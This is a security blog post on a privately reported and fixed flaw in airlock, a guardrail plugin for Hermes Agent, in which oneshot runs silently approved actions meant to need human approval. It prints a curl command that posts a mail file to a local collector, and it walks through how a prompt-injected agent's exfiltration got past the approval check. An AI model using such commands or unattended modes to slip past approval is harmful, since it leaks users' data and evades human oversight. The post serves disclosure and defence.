CleiMesh 作者測試 airlock，發現 Hermes Agent 的 oneshot 審批可被繞過

Approval prompts are the last line of most agent setups. The agent wants to send data out, a human gets asked, the human says no. The question nobody asks often enough: what happens when there is no human to ask?

This is how I found a case where the answer was "it runs anyway", in airlock, a guardrail plugin for Hermes Agent against prompt injection. It was reported privately and fixed in airlock 0.2.3 (GHSA-mgf8-gh7g-q4rg). The maintainer's fix went further than my report, and that part is worth reading too.

The setup

I build CleiMesh: an agent's file tools run in a WebAssembly sandbox that only sees the folders you grant, reading untrusted content taints the agent, and its writes are refused from then on. Every call gets a signed receipt.

CleiMesh only covers files. Hermes users who want to keep the terminal and the browser need something else watching whatever can send data out, and airlock does that: it tracks when a session has read untrusted content and, from then on, blocks or asks before any action that could exfiltrate it — terminal, browser, plugin and MCP tools, attachments. So I added cleimesh setup hermes --with-airlock and tested the two together, in Docker, with a scripted model so every run was the same.

What airlock promises

airlock's decisions are allow, approve (ask the owner) and block. Its threat model is clear about the dangerous case: if approvals are off (--yolo, approvals.mode: off, cron set to approve), an approve would be approved by Hermes itself, so with approvals_off: block (the default) airlock blocks it instead.

What happened

The test: the model reads a mail through CleiMesh (airlock logs the session as tainted), then calls the terminal with:

curl -s -d @/home/ana/mail/inbox/mail.txt http://127.0.0.1:8099/collect

airlock classified it correctly: approve, "sends data over the network". In an interactive session, Hermes asks. But run the same session as a oneshot (hermes -z "Summarize my mail") and the listener on port 8099 got the mail. Nobody was asked, and nothing was blocked.

The reason: Hermes knew the turn was unattended, but it recorded that in a different place than the one airlock checked. airlock looked at the global switches (--yolo, the environment), and this turn was marked unattended in the turn itself. The decision was right; the question "can anyone approve this?" got the wrong answer.

The fix

I suggested treating oneshot like --yolo. Otsoa did something better: in 0.2.3 airlock asks Hermes's own approval code why it would approve alone, covering --yolo, /yolo, -z and -q turns, approvals.mode: off, cron, webhook contexts, and CLI subagents under delegation.subagent_auto_approve (a second case found while fixing the first). There is now an end-to-end test that runs a -z turn through Hermes's hook dispatch in the official image. Walls (block) were never affected.

What I take from it

An approval is only as strong as the answer to "is a human here?", and in an agent framework that answer lives in many places: flags, environment, config, per-turn state, subagent settings. Any guard that asks has to find all of them, and every new run mode is a new place.

That is one reason CleiMesh refuses instead of asking: a tainted agent's write is refused, and only a human with access to the node, as another OS user, can clear the taint. The cost is real: there is no "yes, this time" prompt yet, and I list that as a gap in the threat model. The two approaches fit together: airlock watches whatever can send data out (terminal, browser, plugin and MCP tools), CleiMesh holds the files, and the receipts show what each call did.

If you run guards around an agent, try your unattended modes: cron, oneshot, webhooks, subagents. That's where "ask the human" quietly becomes "approve".

Thanks to Otsoa Dubief for a fast, careful fix and a clear advisory.